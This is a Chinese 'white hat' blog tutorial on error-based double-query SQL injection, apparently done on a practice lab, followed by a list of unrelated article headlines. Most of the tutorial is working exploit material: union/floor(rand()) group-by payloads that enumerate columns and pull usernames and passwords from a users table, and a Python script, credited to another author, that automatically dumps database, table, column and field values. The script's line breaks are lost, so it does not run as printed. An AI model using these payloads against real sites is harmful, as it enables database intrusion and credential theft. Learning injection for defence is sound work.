白帽子：SQL注入之双查询注入( 三 ) 什么是双查询注入呢？看大佬的解释太深

文章插图
总共四张表，我们在第三张拿到了我们想要的。
知道了表名，看列值，构造payload：?id=-1' union select 1,count(*),concat( (select column_name from information_schema.columns where table_name='users' limit 4,1),floor(rand(4)*2)) as a from information_schema.columns group by a --+
我通过修改limit X,1里X的值，在3 ， 1的时候看到了password字段
文章插图
在9 ， 1的时候得到了用户名字段
文章插图
开始拿用户名和密码，构造payload：?id=-1' union select 1,count(*),concat( (select username from users limit 0,1),floor(rand(4)*2)) as a from information_schema.columns group by a --+
文章插图
和?id=-1' union select 1,count(*),concat( (select password from users limit 0,1),floor(rand(4)*2)) as a from information_schema.columns group by a --+
文章插图
这里要注意用户名和密码的列数应改相对。
是不是jio着麻烦，附上Mochaaz大佬的python代码
import requestsfrom bs4 import BeautifulSoupdb_name = ''table_list = []column_list = []url = ''''''### 获取当前数据库名 ###print('当前数据库名:')payload = '''' and 1=(select count(*) from information_schema.columns group by concat(0x3a,(select database()),0x3a,floor(rand(0)*2)))--+'''r = requests.get(url+payload)db_name = r.text.split(':')[-2]print('[+]' + db_name)### 获取表名 ###print('数据库%s下的表名:' % db_name)for i in range(50):payload = '''' and 1=(select count(*) from information_schema.columns group by concat(0x3a,(select table_name from information_schema.tables where table_schema='%s' limit %d,1),0x3a,floor(rand(0)*2)))--+''' % (db_name,i)r = requests.get(url+payload)if 'group_key' not in r.text:breaktable_name = r.text.split(':')[-2]table_list.append(table_name)print('[+]' + table_name)### 获取列名 ####### 这里以users表为例 ####print('%s表下的列名:' % table_list[-1])for i in range(50):payload = '''' and 1=(select count(*) from information_schema.columns group by concat(0x3a,(select column_name from information_schema.columns where table_name='%s' limit %d,1),0x3a,floor(rand(0)*2)))--+''' % (table_list[-1],i)r = requests.get(url + payload)if 'group_key' not in r.text:breakcolumn_name = r.text.split(':')[-2]column_list.append(column_name)print('[+]' + column_name)### 获取字段值 ####### 这里以username列为例 ####print('%s列下的字段值:' % column_list[-2])for i in range(50):payload = '''' and 1=(select count(*) from information_schema.columns group by concat(0x3a,(select %s from %s.%s limit %d,1),0x3a,floor(rand(0)*2)))--+''' % (column_list[-2],db_name,table_list[-1],i)r = requests.get(url + payload)if 'group_key' not in r.text:breakdump = r.text.split(':')[-2]print('[+]' + dump)

白帽子：SQL注入之双查询注入( 三 )

推荐阅读

作者1047841▲快讯！广东省气象台发布明（27日）起未来三天天气预报

上海市闵行区人民政府网站|区人社局联合云南省保山市开展“网络直播”技能培训

[辅助训练]分清主次，辅助训练只能是辅助！

怎么样选购一台存储照片和视频为主的电脑

「黄磊」原来，孙红雷和黄磊对《极限挑战》造成的伤害这么大！

【潇湘名医】遏制关键通路才是制胜关键，治疗类风湿关节炎

三弄车汇|15万选什么车？哈弗F7x还是领克02？读完你就清楚了

医院|女子花6万做隆胸，结果“像放了两块石头”！美容医院：不退钱

宝宝几岁分房睡比较好呢?

大连|大连小伙笑对再进隔离区热出花癣斑：打败我的是天真热！

台湾地区流■被造谣患新冠肺炎，台北市长柯文哲今正常工作并直率回呛

欢愉驿站|发现规律后，粉丝笑了，《月上重火》罗云熙哭戏太虐人

装修工16楼作业不慎弄脏业主衣服被对方割断安全绳

少年的你经典句子，写进作文加10分少年的你经典短句

名字中逸的寓意逸的寓意

[走私]警方突袭走私仓库，发现10架共轴旋翼直升机，居然是纯手工打造

袋泡红茶怎么样泡才好喝

「钢铁侠」漫威：毁灭地球需要用多久？美国队长用1个月，钢铁侠用1天，他仅用1秒！

女人戴手表的3大禁忌女生的手表应该戴在左手还是右手

山东鲁能■前鲁能队长仅比郑智小1岁，辗转效力7队，曾被汪嵩索要15元快递费